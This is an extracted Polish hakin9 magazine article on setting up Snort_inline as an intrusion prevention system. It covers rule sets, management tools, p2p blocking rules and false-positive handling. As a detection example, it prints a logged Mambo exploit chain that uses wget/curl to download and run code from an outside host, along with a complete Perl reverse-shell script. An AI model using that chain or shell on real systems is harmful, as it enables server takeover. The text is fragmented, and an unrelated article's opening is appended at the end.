RULE_PATH

attack

responses

rules

include

RULE_PATH

mysql

rules

include

RULE_PATH

virus

rules

include

RULE_PATH

web

attacks

rules

include

RULE_PATH

backdoor

rules

include

RULE_PATH

bleeding

virus

rules

include

RULE_PATH

bleeding

attack_response

rules

include

RULE_PATH

bleeding

dos

rules

include

RULE_PATH

bleeding

exploit

rules

include

RULE_PATH

bleeding

malware

rules

include

RULE_PATH

bleeding

scan

rules

include

RULE_PATH

bleeding

web

rules

include

RULE_PATH

community

exploit

rules

include

RULE_PATH

community

ftp

rules

include

RULE_PATH

community

web

misc

rules

include

RULE_PATH

community

smtp

rules

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
</Directory>

Ponadto, aby ustawić parametry połą-
czenia z bazą danych należy zmodyfi-
kować plik konfiguracyjny PLACID:

tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes

Do automatycznej aktualizacji reguł
zalecamy napisany w Perlu program
Oinkmaster,  który  pozwala  nam
na zachowanie aktualności naszych
reguł  dzięki  pobieraniu  ich  kodu
z  różnych  źródeł:  Snort  VRT,  spo-
łeczność  Snort,  społeczność  ble-
eding-snort,  zewnętrzne  oraz  wła-
sne (lokalne).

Poniżej znajdziecie instrukcję

konfiguracji Oinkmastera:

Oinkmaster.conf:
# Przykład dla Snort-current (
"current" oznacza obrazy z cvs).
url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz
# Przykład dla reguł ze społeczności
url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz
# Przykład dla reguł z
# projektu Bleeding Snort
url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz
# Jeżeli wolisz pobierać archiwa reguł
# nie za pomocą Oinkmastera, możesz

# wskazać mu plik na lokalnym systemie
# plików za pomocą file://<filename>,
na przykład:
# url = file:///tmp/snortrules.tar.gz
# W rzadkich przypadkach możemy chcieć

# pobierać reguły bezpośrednio z

lokalnego

# katalogu (nie należy tego mylić z
# katalogiem docelowym).
# url = dir:///etc/snort/src/rules

Rysunek 3.

Przykład sieci mieszanej

Listing 5.

Preprocesory dla sieci mieszanej

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Rysunek 4.

Prosty obraz ekranu

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Po automatycznej aktualizacji mo-
żemy wybrać, które reguły włączyć
bądź wyłączyć:

Oinkmaster.conf:
disabledsid [sidy reguł]

Oinkmaster umożliwia automatycz-
ną zamianę aplikacji reguł. Poniż-
sza opcja umieszczona w pliku
konfiguracyjnym zastąpi wystąpie-
nia aplikacji alert przez drop:

Oinkmaster.conf:
modifysid * "^alert" | "drop"

Efektywnym systemem zarządzania
regułami jest SRRAM, który, chociaż
cokolwiek przestarzały, pozwala na
składowanie reguł w dedykowanej
bazie danych i zarządzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzającego pliki
reguł. Patrz Rysunek 5.

Aby narzędzie to mogło pobierać

reguły z opcją drop należy zmienić
fragment jego kodu źródłowego:

rules_import.pl:
if (/^alert/) {
# jeżeli dana linia to alert
in
if (/^drop/) {
# jeżeli dana linia to drop

Aby proces importu reguł zakończył
się sukcesem musimy stworzyć ba-
zę danych, która będzie zawierać
zbiór reguł:

# mysqladmin -uroot -p create snort_

rules_mgt

A co za tym idzie, odpowiednio zmo-
dyfikować plik

rules _ import.pl

use DBD::mysql;
# === Modify to fit your system ===
$rules_list = 'snort_rules_file_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password';

oraz skrypt cgi

rules _ mgt.pl

uru-

chamiany przez serwer WWW:

use DBI;
use DBD::mysql;
use CGI;
# === Modify to fit your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';

Teraz wywołaj polecenie

#perl

rules _ import.pl

i skieruj swoją

przeglądarkę pod adres: http://IP/

cgi-bin/rules_mgt.pl

Kolejnym podstawowym w przy-

padku  IDS  /  IPS  narzędziem  jest
PMGRAPH.  Jest  to  prosty  skrypt
napisany  w  Perlu  generujący  dwie
strony  w  HTML  zawierające  ta-
bele  przedstawiające  wydajność
Snorta. By mógł on działać, w pliku
konfiguracyjnym  koniecznie  trze-

Listing 6.

Zalecane reguły dla

sieci mieszanej

# Ogólne

include

RULE_PATH

bleeding

rules

include

RULE_PATH

ftp

rules

include

RULE_PATH

telnet

rules

include

RULE_PATH

dns

rules

include

RULE_PATH

tftp

rules

include

RULE_PATH

x11

rules

include

RULE_PATH

misc

rules

include

RULE_PATH

nntp

rules

include

RULE_PATH

other

ids

rules

include

RULE_PATH

community

ftp

rules

include

RULE_PATH

community

misc

rules

# Głównie spyware

include

RULE_PATH

bleeding

malware

rules

include

RULE_PATH

malware

rules

include

RULE_PATH

spyware

put

rules

include

RULE_PATH

aams7

rules

# Zagadnienia sieciowe

include

RULE_PATH

bad

traffic

rules

include

RULE_PATH

snmp

rules

# Eksploity i ataki bezpośrednie

include

RULE_PATH

exploit

rules

include

RULE_PATH

bleeding

exploit

rules

include

RULE_PATH

community

exploit

rules

# Skany i rozpoznania

include

RULE_PATH

scan

rules

include

RULE_PATH

bleeding

scan

rules

# Nietypowe

include

RULE_PATH

finger

rules

# R-usługi itd.

include

RULE_PATH

rpc

rules

include

RULE_PATH

rservices

rules

# DOS

include

RULE_PATH

dos

rules

include

RULE_PATH

ddos

rules

include

RULE_PATH

bleeding

dos

rules

# Związane z WWW

include

RULE_PATH

web

iis

rules

include

RULE_PATH

web

client

rules

include

RULE_PATH

web

php

rules

include

RULE_PATH

web

attacks

rules

include

RULE_PATH

bleeding

web

rules

include

RULE_PATH

community

web

dos

rules

include

RULE_PATH

community

web

php

rules

# Sygnatury SQL oraz baz danych

include

RULE_PATH

sql

rules

include

RULE_PATH

oracle

rules

Listing 7.

Zalecane reguły dla

sieci mieszanej, cd

include

RULE_PATH

mysql

rules

include

RULE_PATH

community

sql

injection

rules

# Dotyczące Windows

include

RULE_PATH

netbios

rules

# Odpowiedzi na kompromitację

include

RULE_PATH

attack

responses

rules

include

RULE_PATH

bleeding

attack_response

rules

# Sygnatury poczty
#include $RULE_PATH/smtp.rules

include

RULE_PATH

imap

rules

include

RULE_PATH

pop2

rules

include

RULE_PATH

pop3

rules

include

RULE_PATH

community

mail

client

rules

# Trojany, wirusy oraz spyware

include

RULE_PATH

backdoor

rules

include

RULE_PATH

virus

rules

include

RULE_PATH

bleeding

virus

rules

include

RULE_PATH

community

virus

rules

# Sygnatury polityki

include

RULE_PATH

porn

rules

include

RULE_PATH

p2p

rules

include

RULE_PATH

bleeding

p2p

rules

include

RULE_PATH

bleeding

inappropriate

rules

include

RULE_PATH

community

inappropriate

rules

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

ba uaktywnić preprocesor perfoni-
tor, z kolei do poprawnego ogląda-
nia tabel niezbędne jest narzędzie
rrdtool. Całość można bezproble-
mowo dodać do pliku crontab, jako
że generowane obrazki i strony ma-
ją charakter przyrostowy. Pmgraph
przedstawia Rysunek 6.

W przypadku konfiguracji

preprocesora: preprocessor perf-
monitor:

time 60 file /var/log/snort/

perfmon.txt pktcnt 500

uruchamiać

będziemy polecenie:

pmgraph.pl

[ścieżka do folderu, w którym
publikujemy tabele]

/var/log/snort/

perfmon.txt

Chcąc dodać to do crona nale-

ży zastosować następującą linijkę:

*/30 * * * * /root/pmgraph-0.2/
pmgraph.pl

[ścieżka do folderu,

w którym publikujemy tabele]

/var/

log/snort/perfmon.txt

, aby polece-

nie było wywoływane codziennie co
trzydzieści minut.

Implementacja

Snorta w trybie inline

Teraz  opiszemy  pokrótce,  jak  za-
instalować  serwer  IPS  oparty  na
Snorcie  w  trybie  inline  za  pomo-
cą  skryptów  dostępnych  na  stronie

www.snortattack.org.

Zastosowanie skryptów ze snor-

tattack  to  najprostszy  i  najszybszy
sposób  na  rozwiązanie  zależności
i  określenie  opcji  kompilacji.  Dzięki
skryptom  tym  można  uzyskać  dzia-
łający IPS w mniej niż 45 minut, co
pozwala na skoncentrowanie się na
procesach:  konfiguracji  i  optymali-
zacji.  Z  drugiej  strony,  aby  w  pełni
zrozumieć  implementację  systemu
trzeba  samodzielnie  zainstalować
wszystkie  różne  pakiety.  Zaawan-
sowanym  użytkownikom  polecamy
przeczytanie  podręcznika  użytkow-
nika instalacji krok po kroku, dostęp-
nego  w  sekcji  dokumentacji  serwi-
su  snortattack,  bez  korzystania  ze
skryptów.

Skrypty i instrukcje snortattack

automatyzują wiele procedur oraz
wyjaśniają, jak zainstalować Snort_
inline pod następującymi dystrybu-
cjami:

• Debian
• Fedora Core 2, 3, 4, 5

Podczas implementacji dystrybucji
należy wyłączyć firewall oraz seli-
nux.

Po zakończeniu implementacji

pobieramy current-attack.sh (www.

snor tattack.org /mambo /script /

current-attack.sh), zmieniamy odpo-
wiednio wartość zmiennej

SA _ DISTRO

postępując zgodnie z instrukcjami
w skrypcie.

Ustawiamy tutaj deb w przypad-

ku Debiana bądź “fc20” “fc30” “fc40”
“fc50” w przypadku odpowiednich
wersji Fedory.

Jako wartość zmiennej

SA _ DIR _

ROOT

ustawiamy pełną ścieżkę do

miejsca,  w  które  pobierane  będą
pakiety  i  skrypty  do  implementacji
Snorta.  Domyślną  ścieżką  jest  tu

/root/snortattack.

Ustawiamy wartość języka (wło-

ski bądź angielski): LANG – ita. Do-
myślnie wybrany jest włoski.

Listing 8.

Pakiety z logów Apache'a

216.63.z.z - -[28/Feb/2006:12:30:44+1300]"GET/
index2.php?option=com_content&do_pdf=1&id
=1index2.php?_REQUEST[option]=com_content
&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_
absolute_path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback;chmod
%20744%20cback;./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc.txt;chmod%20744%20dc.txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-o%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback;./cback%20217.160.c.c%
208081;curl%20-o%20dc.txt%20http://216.99.b.b/
dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217
.160.c.c%208081;echo%20YYY;echo| HTTP/1.1
"404 - "-" "Mozilla/4.0(compatible; MSIE 6.0;
Windows NT 5.1;)" "-" 0localhost

Listing 9.

Odpowiedź serwera na pytanie o tożsamość użytkownika

11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1

win 5840

<nop,nop,timestamp 454607 3169841954>
0x0000: 4500 005b 6f63 4000 4006 f4c6 0a00 0078 E..[oc@.@......x
0x0010: d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65 ...Z....#...m..e
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf .....j..........
0x0030: bcef f322 7569 643d 3028 726f 6f74 2920 ..."uid=0(root).
0x0040: 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root).

Listing 10.

Odpowiedź Snorta na przywileje roota w Mambo

11:12:56.824718 IP 10.0.x.x.514
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164
0x0000: 4500 00c0 0189 4000 4011 23d4 0a00 0078 E.....@.@.#....x
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y......)7<33>
0x0020: 736e 6f72 743a 205b 313a 3439 383a 365d snort:.[1:498:6]
0x0030: 2041 5454 4143 4b2d 5245 5350 4f4e 5345 .ATTACK-RESPONSE
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur
0x0050: 6e65 6420 726f 6f74 205b 436c 6173 7369 ned.root.[Classi
0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fication:.Potent
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traffi
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2]
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

Po zakończeniu zmian w current-

attack.sh uruchamiamy skrypt za po-
mocą następującego polecenia:

> sh current-attack.sh

System pobierze skrypty oraz pakie-
ty niezbędne do zakończenia proce-
su instalacji do katalogu zdefiniowa-
nego w

SA _ DIR _ ROOT

. Wewnątrz te-

go katalogu zmienimy skrypt fast_in-

line.sh, który w pełni automatyzuje
instalację Snorta.

Aby instalacja przebiegła po-

prawnie  musimy  ustawić  trochę
parametrów,  które  fast_inline  wy-
korzysta  do  skonfigurowania  urzą-
dzenia:

•

SA _ DIR _ ROOT

– pełna ścieżka do

miejsca, w które pobrane zostały
pakiety i skrypty,

•

MYSQLPWD

– hasło konta root w ba-

zie mysql,

•

MYSQLPWS

– hasło konta snort w

bazie mysql,

•

– adres IP, który chcemy przy-

pisać urządzeniu,

•

NETMASK

– maska sieci, którą

chcemy przypisać urządzeniu,

•

– adres bramy, który chcemy

przypisać urządzeniu,

•

NETWORK

– sieć, do której należy-

my,

•

BROADCAST

– wartość adresu roz-

głaszania,

•

DNS

– główny serwer DNS,

•

HOMENET

– określa tak zwaną sieć

zaufaną. Wartości w zmiennej
oddzielone są przecinkami.

Zmienne  wymienione  poniżej  usta-
wione  są  domyślnie  tak,  by  auto-
matycznie  przeprowadzić  wszystkie
operacje niezbędne do zainstalowa-
nia Snorta. Przyjrzyjmy się pokrótce,
co robią:

•

SA _ UPDATE

– funkcja ta dokonuje

importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku Fedory) i aktualizuje sys-
tem,

•

SA _ DEPS

– pobiera i instaluje za

pomocą menedżera pakietów
(apt pod Debianem, yum pod Fe-
dorą) pakiety wymagane przez
Snorta,

•

SA _ EXTRACT

– pobiera i rozpako-

wuje pakiety tar.gz, których Snort
wymaga do poprawnego działa-
nia,

•

SA _ MYSQL

– konfiguruje serwer

mysql z podanymi wcześniej ha-
słami, importuje bazę danych
Snorta oraz ustawia wymagane
uprawnienia,

•

SA _ INSTALL

– kompiluje elementy

wymagane przez Snorta, tworzy
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jądra itd.,

•

SA _ INLINE

– kompiluje Snort_in-

line,

•

SA _ REPORT

– instaluje Snort Re-

port,

•

SA _ PLACID

– instaluje Placid,

•

SA _ SNORT _ CONF

– ustawia w pliku

konfiguracyjnym Snorta podane
wcześniej wartości (sieć domo-
wa, hasło itd.),

•

SA _ AUTO

– powoduje uruchamia-

nie Snorta przy starcie systemu,

•

SA _ ETH

– konfiguruje interfejsy

Ethernet,

•

SA _ SET _ SCRIPT

– tworzy skrypt

uruchamiający określoną wersję
Snorta (klasyczną bądź Snort_in-
line) z podanymi wcześniej para-
metrami (ip, brama, maska, sieć
itd.),

•

SA _ START

– pozwala uruchomić

Snorta po zakończeniu instalacji,

•

SA _ EMAIL

– umożliwia wysłanie

informacji  do  zespołu  Snortat-
tack,  celem  przekazania  pozy-
tywnych  bądź  negatywnych  opi-
nii na temat instalacji przy użyciu

fast_inline.sh.

Po zakończeniu instalacji należy zre-
startować komputer.

Jeżeli chodzi o skrypt fast_utility,

jest to nowy, interaktywny twór upra-
szczający typowe operacje wykony-
wane na urządzeniach IPS, jak na
przykład:

•   zmianę adresu IP mostka,
•   restart snorta,
•   aktualizację reguł,
•   tworzenie  kopii  zapasowej  alar-

mów i czyszczenie bazy danych,

• odnotowywanie fałszywych alar-

mów,

• zmianę sieci domowej,
• zmianę rodzaju sieci (LAN DMZ

MISTA),

• zmianę hasła roota, itd.

Rysunek 5.

Obraz ekranu ze SRRAM

Listing 11.

Zalecana

konfiguracja w httpd.conf oraz

my.cnf

httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10
my.cnf :
key_buffer = 4M
max_allowed_packet = 4M
thread_stack = 32K
query_cache_limit = 104857
query_cache_size = 1677721
query_cache_type = 1
max_allowed_packet = 4M
key_buffer = 4M

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

Jest  zaprojektowany  tak,  by  mógł
być  również  wykorzystywany  jako
aplikacja  konsolowa,  a  ponadto  jest
uruchamiany  przy  każdym  logowa-
niu się roota.

Jeżeli niektóre z wymienionych

powyżej zmiennych nie są ustawio-
ne w fast_inline, oznacza to że nie są
one niezbędne do działania skryptu.
Sugerujemy uaktywnienie domyśl-

nie zmiennej zarządzającej funkcja-
mi. Więcej informacji znaleźć moż-
na w podręczniku użytkownika na

www.snortattack.org.

Praktyczne przykłady

Wymieńmy teraz kilka technik ata-
ku, które Snort_inline może za-
uważyć za pomocą reguł i prepro-
cesorów.

Ataki wymierzone w Mambo

Celem  analizowanego  tutaj  ataku
jest  kompromitacja  serwera  i  za-
ładowanie  eksploita  wykorzystu-
jącego  lukę  w  Mambo<=  4.0.11.
W przypadku tym pakiety pobrane
zostały z logów Apache'a, jak po-
kazuje to Listing 7.

Powyższa sekwencja pozwala

załadować i uruchomić cmd.txt.

Poniżej znajdziecie ją w czytel-

niejszej formie:

cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|

A oto zawartość cmd.txt:

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname('tcp'));
connect(SOCKET,
sockaddr_in
($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");

Rysunek 6.

Stworzone przez pmgraph tabele przedstawiające wydajność

Snorta

hakin9 Nr 1/2007

www.hakin9.org

Obrona

open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;
HISTFILE=/dev/null /bin/sh -i");

Należy odnotować, że celem powyż-
szych poleceń jest odkrycie, któ-
ry użytkownik w systemie urucha-
mia Mambo. Szybka reakcja serwe-
ra nań przedstawione jest na Listin-
gu 8.

Jeżeli zatem Mambo posiada

przywileje roota, możemy przez od-
krytą lukę uruchamiać skrypty. Re-
akcję Snorta na taki przypadek
przedstawia Listing 9.

Phishing

W  dziedzinie  badań  naukowych
określenie  phishing  opisuje  stu-
dium  słabo  znanego  zagadnienia
przeprowadzone  bez  ściśle  okre-
ślonego  celu:  oznacza  losowe  po-

szukiwanie, podobnie do rybaka
zarzucającego sieć z nadzieją zła-
pania kilku ryb. Znaczenie to po-
chodzi z 1990 roku.

Phishing w informatyce to tech-

nika inżynierii społecznej pozwala-
jąca na uzyskanie dostępu do oso-
bistych  i  poufnych  danych,  co  po-
zwolić  ma  na  kradzież  tożsamości
użytkownika,  za  pomocą  fałszy-
wych  wiadomości  e-mail  (jak  rów-
nież  innych  socjotechnicznych  tri-
ków)  skonstruowanych  tak,  by  wy-
dawały  się  autentyczne.  Użytkow-
nik  zwiedziony  takimi  wiadomo-
ściami  ujawnić  może  swoje  oso-
biste  dane,  jak  na  przykład  numer
konta  bankowego,  nazwę  i  hasło
użytkownika,  numer  karty  kredy-
towej itp.

Opierając się na definicji zawar-

tej  w  Wikipedii  opiszemy  metodę
pozwalającą  na  rozwiązanie  tego
problemu. Przedstawimy wspomnia-
ne już wcześniej, bardzo użyteczne
narzędzie,  jakim  jest  preprocesor
Clamav, zintegrowany z dystrybucja-
mi Snort_inline.

Zasada działania tego prepro-

cesora wydaje się być bardzo pro-
sta, jednak o ile nie jest on popraw-
nie skonfigurowany jest on bezuży-
teczny. Preprocesor Clamav korzy-
sta z dbdir Clamava jako zbioru re-

guł  przechwytywania  dla  Snorta,
pozwalając  na  użycie  w  przypad-
ku  pozytywnego  rozpoznania  akcji
drop.  Niezmiernie  ważne  jest  stałe
dbanie o aktualność definicji Clama-
va (dbdir). Warto przy okazji wspo-
mnieć, że preprocesor ten nie speł-
nia  wszystkich  wspomnianych  po-
wyżej reguł – jedynie phishing bądź
wirusy,  które  nie  są  zaszyfrowane
ani spakowane.

Niezależnie od powyższego ja-

sne  jest,  że  preprocesor  ten  jest
idealny do blokowania ataków phi-
sherów  –  wiadomości  ich  są  bo-
wiem  pisane  otwartym,  zrozumia-
łym  tekstem.  Konfigurację  tego
rodzaju  sieci  omówimy  w  następ-
nym akapicie.

Wymiana plików

Jak wszyscy dobrze wiemy w pry-
watnych sieciach intensywnie operu-
ją programy peer to peer.

Najpopularniejszymi klientami do

pobierania w ten sposób plików są:
Emule, Bittorrent, Gnutella, Kazaa,
Soulseek.

Najpowszechniej stosowanymi

przez tych klientów protokołami są:

• bittorrent (wykorzystywany przez

klienta bittorrent)

• eDonkey (wykorzystywany przez

klienta emule)

• fastrack (wykorzystywany przez

klienta Kazaa)

• Gnutella (wykorzystywany przez

klienta Gnutella)

• Soulseek (wykorzystywany przez

klienta Soulseek)

Celem  zablokowania  tego  rodza-
ju  klientów  peer  to  peer  należy
uaktywnić  następujące  zbiory  re-
guł: bleeding-p2p oraz p2p. Pliki te
(

/ e t c / s n o r t _ i n l i n e / r u l e s /

bleeding-p2p.rules

.../p2p.rules

)

zawierają  wszystkie  najnowsze  re-
guły  pozwalające  na  ochronę  sieci
przed  wykorzystaniem  przez  szko-
dliwe  programy  p2p,  które  jak  wie-
my  w  zdecydowanej  większości
przypadków  wysycają  całe  dostęp-
ne łącze.

Należy sprawdzić, czy zmienna

HOMENET w pliku snort_inline.conf

definiuje sieć, którą chcemy chronić
przed takimi klientami.

Reguły tego rodzaju podzielone

są według rodzaju działania. I tak,
mamy na przykład:

Wyszukiwanie plików w sieci eDon-
key:

drop udp $HOME_NET any ->
$EXTERNAL_NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 0e|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation; reference:url,
www.edonkey.com;
sid: 2001305; rev:3; )

Ruch bittorrent:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffic";
flow:
established;
content:
"|0000400907000000|";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;
sid: 2000357; rev:3; )

Żądanie od klienta Gnutelli:

drop tcp $HOME_NET any ->
$EXTERNAL_NET any (msg:
"P2P GNUTella client request";
flow:to_server,established;
content:
"GNUTELLA"; depth:8;
classtype:policy-violation;
sid:1432; rev:6;)

Jeżeli  chce  się  blokować  protoko-
ły  transferu  plików  należy  uważ-
nie wybrać z ww. plików odpowied-
ni protokół, a co za tym idzie odpo-
wiednie działanie. Nie zawsze da-
je  się  całkowicie  zatrzymać  ruch
generowany  przez  klienta  p2p,
w rzeczy samej, testy pokazały że
program  Emule  nie  jest  w  stanie

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

zablokować sieci kad, podczas gdy
bittorrenta  ogranicza  jedynie  wy-
korzystanie  łącza.  Chociaż  wspo-
mniane  tu  rozwiązanie  nie  zdoła
całkowicie zablokować tych progra-
mów, włączenie ww. reguł genero-
wać  będzie  regularne  problemy,
które  mogą  zniechęcić  użytkowni-
ków aplikacji do wymiany plików.

Detekcja fałszywych

alarmów: podejście

systematyczne

Teraz stworzymy metodę wykrywa-
jącą fałszywe alarmy. Opiszemy tu-
taj trzy różne scenariusze:

• fałszywe alarmy przy korzystaniu

z WWW

• fałszywe alarmy przy zatrzyma-

nej poczcie

• ogólne fałszywe alarmy (nie

WWW i nie poczta)

W  pierwszym  przypadku  musimy
znać  adres  źródłowy  hosta,  które-
go  dotknął  problem,  a  następnie,
za  pomocą  podstawowego  inter-
fejsu  sieciowego  i  wykorzystując
funkcję  wyszukiwania  (wybrawszy
kryterium  ip  i  wpisawszy  adres  w
okrągłych  nawiasach)  znajdujemy
go w powiadomieniach.

Znalazłszy fałszywy alarm (który

spowodował odrzucenie) mamy do
wyboru dwa możliwe rozwiązania:

• wyłączenie reguł, które go spo-

wodowały,

• dodanie źródłowego adresu

IP do zmiennej w pliku

snort _

inline.conf

określającą sieć do-

mową.

Dzięki narzędziu pmgraph możemy
śledzić statystyki ruchu na i wydaj-
ności urządzenia. Interesująca jest

tabela reprezentująca obciążenie
procesora, które mogło powodo-
wać fałszywe alarmy (w przypadku
obciążeń większych niż 70%), któ-
rych nie wyłapał BASE.

Kolejną istotną informacją przy

wyszukiwaniu  fałszywych  alarmów
jest  liczba  ataków  na  sekundę.  Je-
żeli znajdziemy w tej tabeli wartości
większe niż 15 na sekundę, mamy do
czynienia  z  jednym  z  dwóch  poniż-
szych przypadków:

• A – fałszywy alarm;
• B – atak wymierzony w host

w sieci.

Najbardziej przydatna jest tworzona
przez silnik bezpieczeństwa tabela
reprezentująca zablokowane treści.
Dzięki BASE mamy możliwość oglą-
dania szczegółów ataków, zaś opcja

plain text jest bardzo przydatna przy
przeglądaniu przechwyconego ru-
chu w formacie ASCII.

Nie jest możliwe oglądanie

przez  interfejs  WWW  wykorzysta-
nia  pamięci  (chyba,  że  zainstaluje-
my  w  naszym  systemie  mrtg).  Jest
to  szczególnie  ważne  w  przypad-
kach,  gdy  chcemy  uruchomić  dużą
liczbę reguł. Aby zapobiec awariom
naszej  maszyny  bądź  generowa-
niu  fałszywych  alarmów,  zalecamy
optymalizację  reguł  oraz  demonów
takich jak Apache czy mysql (patrz
Listing 10).

Podsumowanie

Podsumowując, Snort_inline to efek-
tywny sposób na stawienie czoła
szczególnie niebezpiecznym środo-
wiskom sieciowym.

Wprawdzie nie odpowiedź na

wszelkie zło, ale jest to dobrze ułożo-
na aplikacja bezpieczeństwa – jeżeli
została zaimplementowana wedle da-
nych potrzeb.

W przypadku Snorta reguła mó-

wiąca, że „włączenie wszystkiego

czyni nasz komputer bezpieczniej-

szym”, nie ma zastosowania – każ-
da bowiem reguła może bowiem
generować fałszywe alarmy, bloku-
jące niewinny ruch w sieci bądź ge-
nerujące inne problemy. l

O autorach

Pierpaolo Palazzoli pracuje w branży bezpieczeństwa, jest absolwentem inży-
nierii telekomunikacji na Politechnice Mediolańskiej we Włoszech. Pracuje nad
Snortem od pięciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemów, pracuje nad Snortem od roku. Rezultatem współpracy i wymiany
wiedzy pomiędzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawił się
w sieci sześć miesięcy temu, zespół zapoczątkował go jednak przed dwoma
laty. Jego głównym atutem jest dokumentacja użytkownika oraz skrypty insta-
lacyjne dla Snorta, napisane po włosku i angielsku. Dostępne jest także aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planują stwo-
rzyć dzięki snortattack.org Grupę użytkowników Snorta, celem której ma być
wymiana idei związanych z programem pomiędzy jego użytkownikami we Wło-
szech i nacałym świecie.
www.snortattack.org!

W Sieci

•   http://www.snort.org – Snort
•   http://snort-inline.sourceforge.net -Snort_inline
•   http://secureideas.sourceforge.net - Base
•   http://speakeasy.wpi.edu/placid - Placid
•   http://oinkmaster.sourceforge.net - Oinkmaster
•   http://sourceforge.net/projects/srram - Srram
•   http://people.su.se/~andreaso/perfmon-graph - Pmgraph
•   http://fedora.redhat.com - Fedora
•   http://www.debian.org – Debian
•   http://www.mamboserver.com - Mambo
•   http://www.clamav.net – Clamav
•   http://www.bleedingsnort.com - Bleedingsnort
•   http://www.snortattack.org – Snortattack

www.hakin9.org

hakin9 Nr 1/2007

Obrona

roblem  dodatkowo  komplikuje  fakt,  że
nowoczesne  sieci  dostarczają  wie-
le  metod  dostępu  i  jednocześnie  zło-

żone  są  z  wielu  coraz  bardziej  skompliko-
wanych  systemów  sieciowych.  Każdy  z  nich
(w większości przypadków) działa w zupełnym
odosobnieniu, tocząc nierówną walkę, w której
broniący  stale  musi  nadążać  za  atakującymi.
Z  pomocą  administratorom  przychodzą  coraz
częściej  systemy  badające  zachowanie  po-
szczególnych  węzłów  sieciowych  na  trochę
wyższym  niż  podstawowa  diagnostyka  pozio-
mie, ale są one obecnie ograniczone do rapor-
towania i sugerowania działań, a brak architek-
tury wspólnej dla całej gamy rozwiązań powo-
duje, że ich skuteczność w zestawieniu z nakła-
dami pracy administratorów jest niewielka.

Ida powstania mechanizmu DTM opiera się

